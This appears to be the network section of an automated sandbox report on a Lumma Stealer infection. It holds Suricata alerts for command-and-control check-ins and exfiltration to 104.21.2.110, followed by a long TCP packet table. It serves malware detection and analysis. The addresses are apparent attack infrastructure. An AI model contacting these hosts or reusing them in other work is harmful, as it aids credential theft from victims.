                                                                                                                                                                                                                                                                        EnglishUnited States

                                                                                                                                                                                                                                                                        Network Behavior

                                                                                                                                                                                                                                                                        Suricata IDS Alerts

                                                                                                                                                                                                                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                                                                                        2024-12-17T18:54:10.684611+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449895104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:11.402138+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.449895104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:11.402138+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.449895104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:12.632329+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449901104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:13.495801+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.449901104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:13.495801+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.449901104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:14.983703+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449907104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:17.451106+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449914104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:20.048876+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449921104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:22.261782+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449927104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:22.995459+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.449927104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:24.558180+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449933104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:28.181520+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449943104.21.2.110443TCP
                                                                                                                                                                                                                                                                        2024-12-17T18:54:29.198237+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.449943104.21.2.110443TCP

                                                                                                                                                                                                                                                                        Network Port Distribution

                                                                                                                                                                                                                                                                        TCP Packets

                                                                                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.809349060 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.809393883 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.809458971 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.937835932 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.937864065 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.648930073 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.649785995 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.649802923 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.651381016 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.651496887 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.653583050 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.653669119 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.700067997 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.700083971 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:34.748084068 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.641815901 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.641875982 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.641912937 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.641947031 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.642011881 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.642028093 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.642251968 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.650423050 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.650799036 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.650808096 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.666090012 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.666245937 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.666256905 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.668811083 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.669174910 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.669183969 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.713083029 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.761379004 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.806766033 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.806777954 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.833780050 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.833841085 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.833856106 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.835943937 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.835999012 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.836007118 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.843764067 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.843811989 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.844706059 CET49741443192.168.2.4142.250.181.132
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:35.844722986 CET44349741142.250.181.132192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.160900116 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.160945892 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.161752939 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.162703037 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.162724972 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.852427006 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.852490902 CET44349747162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.852567911 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.852787018 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.852802992 CET44349747162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.387727022 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.388761044 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.388827085 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.390423059 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.390525103 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.397697926 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.397808075 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.398267031 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.398293972 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.509954929 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.812222004 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.812411070 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.812460899 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.813293934 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:46.813318014 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.067323923 CET44349747162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.068075895 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.068103075 CET44349747162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.069344044 CET44349747162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.069439888 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.070447922 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.070492029 CET44349747162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.071144104 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.071149111 CET44349747162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.117418051 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.255295992 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.255395889 CET44349747162.159.61.3192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:47.255501986 CET49747443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:57.102483034 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:57.222270012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:57.222381115 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:57.223042011 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:57.342724085 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525302887 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525333881 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525357008 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525372028 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525387049 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525393963 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525403976 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525423050 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525433064 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525449038 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525664091 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525680065 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525696993 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525702000 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525732040 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.645875931 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.645929098 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.645998955 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.717283010 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.717324018 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.717380047 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.721445084 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.722009897 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.722068071 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.729825020 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.732820988 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.732875109 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.733469963 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.741214991 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.741266012 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.741394043 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.753591061 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.753613949 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.753653049 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.759468079 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.759536982 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.759720087 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.766350985 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.766412020 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.767255068 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.774744987 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.774765015 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.774804115 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.783322096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.783343077 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.783380032 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.792648077 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.792670012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.792697906 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.801714897 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.801768064 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.909238100 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.909321070 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.909360886 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.911788940 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.911978960 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.912017107 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.915942907 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.916034937 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.916071892 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.921294928 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.921698093 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.921741009 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.926635027 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.927800894 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.927859068 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.931781054 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.931929111 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.932059050 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.936927080 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.937664986 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.937716007 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.941878080 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.942023039 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.942061901 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.947381020 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.948415995 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.948456049 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.952071905 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.952312946 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.952351093 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.956885099 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.957200050 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.957236052 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.961945057 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.962004900 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.962044001 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.966865063 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.967031956 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.967070103 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.971954107 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.972563028 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.972613096 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.976958036 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.977519035 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.977581978 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.982009888 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.982280016 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.982326031 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.986943960 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.987634897 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.987695932 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.991925001 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.992084980 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.992141008 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.101083040 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.101170063 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.101210117 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.103121042 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.103271961 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.103368998 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.106300116 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.107162952 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.107203960 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.113826990 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.114043951 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.114078999 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.116589069 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.116945028 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.116985083 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.119219065 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.119353056 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.119396925 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.122375011 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.122869968 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.122921944 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.126137018 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.126255989 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.126293898 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.129843950 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.130060911 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.130098104 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.133636951 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.134023905 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.134064913 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.137420893 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.138200998 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.138238907 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.141081095 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.141184092 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.141223907 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.144853115 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.145275116 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.145322084 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.148504019 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.148727894 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.148766041 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.152270079 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.152399063 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.152437925 CET4974880192.168.2.4192.142.10.246
